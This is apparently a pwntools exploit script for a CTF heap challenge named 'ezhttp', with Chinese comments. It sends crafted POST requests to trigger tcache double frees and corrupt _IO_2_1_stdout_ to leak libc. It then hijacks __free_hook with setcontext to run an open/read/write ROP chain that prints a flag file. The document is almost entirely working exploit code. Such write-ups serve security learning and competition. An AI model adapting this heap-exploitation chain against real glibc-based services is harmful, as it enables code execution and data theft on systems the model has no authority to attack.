#!/usr/bin/python
# coding:utf-8
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60'])
p = process('./ezhttp')
libc = ELF('libc-2.27.so')

def Add(content):
    payload1  = 'POST\n/create\n' + 'Cookie: user' + '=' + 'admin'  + 'token: ' + '\r\n\r\n'
    payload1 += 'content='
    payload1 += content
    p.sendlineafter('==\n', payload1)

def Delete(index):
    payload1  = 'POST\n/del\n' + 'Cookie: user' + '=' + 'admin'  + 'token: '
    payload1 += '\r\n\r\n'
    payload1 += 'index=' + str(index)
    p.sendlineafter('==\n', payload1)

def Edit(index, content):
    payload1  = 'POST\n/edit\n' + 'Cookie: user' + '=' + 'admin'  + 'token: '
    payload1 += '\r\n\r\n'
    payload1 += 'index=' + str(index) + '&' + 'content='
    payload1 += content
    p.sendlineafter('==\n', payload1)

def leak():
    payload1  = 'POST\n/del\n' + 'Cookie: user' + '=' + 'admin'  + 'token: '
    payload1 += '\r\n\r\n' + 'AAA'
    p.sendlineafter('==\n', payload1)

def exploit():
    global p
    p = process('./ezhttp')
    Add('A'*0x60) #0
    p.recvuntil('Your gift: ')
    chunk_addr = int(p.recv(14), 16)
    info("chunk_addr ==> " + hex(chunk_addr))

    Add('A'*0xa0) #1

    # 防止chunk倍top chunk合并
    Add('A'*0x20) #2
    Add('A'*0x10) #3

    # double free
    Delete(0)
    Delete(0)

    # 填满tcache，把chunk放入unsortedbin中
    for i in range(7):
        Delete(1)

    Delete(1)

    # 控制tcache，修改main_arena位_IO_2_1_stdout_
    Delete(3)
    Delete(3)
    Delete(3)
    Delete(2)
    Delete(2)

    # 修改tcache 0x30处chunk地址
    Add(p64(chunk_addr - 0x208)) #4
    Add('A'*0x18)

    # 把_IO_2_1_stdout_添加到tcahce[0x30]
    Add(p64(chunk_addr + 0x70))

    # 把_IO_2_1_stdout_放在tcache[0x30]链表头部
    Add('A'*0x20)
    #Add('A'*0x20)

    # 在tcache[0x20]处构造double free
    Delete(3)
    Delete(3)
    Delete(3)

    # 把 &tcache[0x30]放入tcache[0x20]
    Add(p64(chunk_addr - 0x208))

    # 修改地址为 &tcahce[0x30]的值为_IO_2_1_stdout_
    Add('A'*0x8)
    #gdb.attach(p, 'b * $rebase(0x1a78)\nc')
    #Add('\x60\x07\xdd')
    Add('\x60\xf7')

    # 把_IO_2_1_stdout_分配出来，并修改数据
    Add(p32(0xfbad1887) + 'A'*0x1c + '\xc0')

    try:
    # leak libc addr
        libc_base = u64(p.recvuntil('\x7f')[-6:] + '\x00\x00') - 0x3eba00
        libc.address = libc_base
        info("libc_base ==> " + hex(libc_base))
    except:
        p.close()
        return 0

    setcontext = libc.symbols['setcontext']
    free_hook = libc.symbols['__free_hook']
    _open = libc.symbols['open']
    _read = libc.symbols['read']
    _write = libc.symbols['write']
    _puts = libc.symbols['puts']
    pop_rdi_ret = libc_base + 0x2155f
    pop_rsi_ret = libc_base + 0x23e8a
    pop_rdx_ret = libc_base + 0x1b96

    #rop_chain  = p64(chunk_addr)
    # read函数的第一个参数不一定是4，可以从3开始多次尝试
    rop_chain  = p64(pop_rdi_ret)
    rop_chain += p64(pop_rdi_ret) + p64(chunk_addr + 0x220) + p64(pop_rsi_ret) + p64(0) + p64(_open) # address of flag
    rop_chain += p64(pop_rdi_ret) + p64(4) + p64(pop_rsi_ret) + p64(chunk_addr + 0x300) + p64(pop_rdx_ret) + p64(0x50) + p64(_read)
    rop_chain += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(chunk_addr + 0x300) + p64(pop_rdx_ret) + p64(0x50) + p64(_write)
    rop_chain += p64(chunk_addr + 0x170) + p64(pop_rdi_ret)
    rop_chain += 'flag\x00\x00\x00\x00'


    # 修补unsortbin
    Edit(7, p64(libc_base + 0x3ebca0) + p64(libc_base + 0x3ebca0))

    # malloc 一个chunk把rop_chain写入
    Add('A'*0xe0)
    info("chunk_addr ==> " + hex(chunk_addr))
    Edit(12, rop_chain)

    # double free
    Delete(3)
    Delete(3)
    Delete(3)
    Add(p64(free_hook))
    Add(p64(free_hook))
    Add(p64(setcontext + 0x35))
    Delete(12)
    p.interactive()
    p.close()
    return 1

if __name__ == '__main__':
    while True:
        a = exploit()
        if a:
            break
